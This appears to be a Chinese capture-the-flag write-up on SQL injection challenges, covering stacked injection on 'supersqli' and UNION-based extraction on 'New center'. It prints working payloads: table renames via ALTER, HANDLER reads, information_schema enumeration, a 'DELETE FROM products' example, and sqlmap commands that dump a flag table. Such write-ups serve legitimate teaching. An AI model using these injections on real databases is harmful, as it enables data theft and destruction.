攻防世界 sql注入

攻防世界supersql(兼buuctf随便注)

首先添加一个单引号1' --+发现出错。

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

使用order by可知表由2个字段:

error 1054 : Unknown column '3' in 'order clause

在使用联合查询时,发现关键字select被过滤:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

而使用堆叠注入,发现是可行的。

1'; show databases;#

1'; show tables; #

发现有"words"  "1919810931114514"两个表。

查看表 `1919810931114514`

-1';show columns from `1919810931114514`;--+

注意:以纯数字命名的表,操作时要加上反引号。

至此可知flag就在这个数字表中,如何取出它呢?

分析:supersqli中两个表

words表,两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100)。

数字表,只有一个字段。且已知存的为flag

可以确定默认查询的表为words,我们使用rename、alter把flag所在的数字表修改为默认查询的表。

具体做法:

words名改为word123     alter table words rename to words123;

把数字表名改为 words   alter table `1919810931114514` rename to words;

现在的words表中没有id字段,我们把flag字段名改为id     alter table words change flag id varchar(100);

最终构造语句:

1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+

 构造:

1'or 1=1--+

方法二:

rename和alter如果被禁了,还可以用这个

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+

(用于在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。)

堆叠注入原理

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

011 New center

        有输入框,尝试能不能sql注入。输入1正常回显,输入1'出错。后用order by 查出共有三个字段. union select 1,2,3 查出回显位位2,3.

        1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

联合查询得到表名 secret_table. 再查该表的字段.

       1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_table'#

查到该表的字段名 fl4g,flag应该就在其中,再次查询,得到flag.

ctfhub 2017 塞克夏令营 web_injection 同上

sqlmap做法

首先打开,随意输入后burp_suite抓包。

copy to file保存到sqlmap目录下pack.txt。

然后在cmd中使用sqlmap:
1. python sqlmap.py -r pack.txt -dbs(查询数据库名)

 得到数据库名 information_schema,news
2. python sqlmap.py -r pack.txt –D "news" -tables (查询表名)

 得到news和secret_table.

3. python sqlmap.py -r pack.txt -D "news" -T "serect_table" -columns (查询字段名)

 得到fl4g,id。

4. python sqlmap.py -r pack.txt -D"news" -T "serect_table" -C "id,fl4g" -dump

 得到flag。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值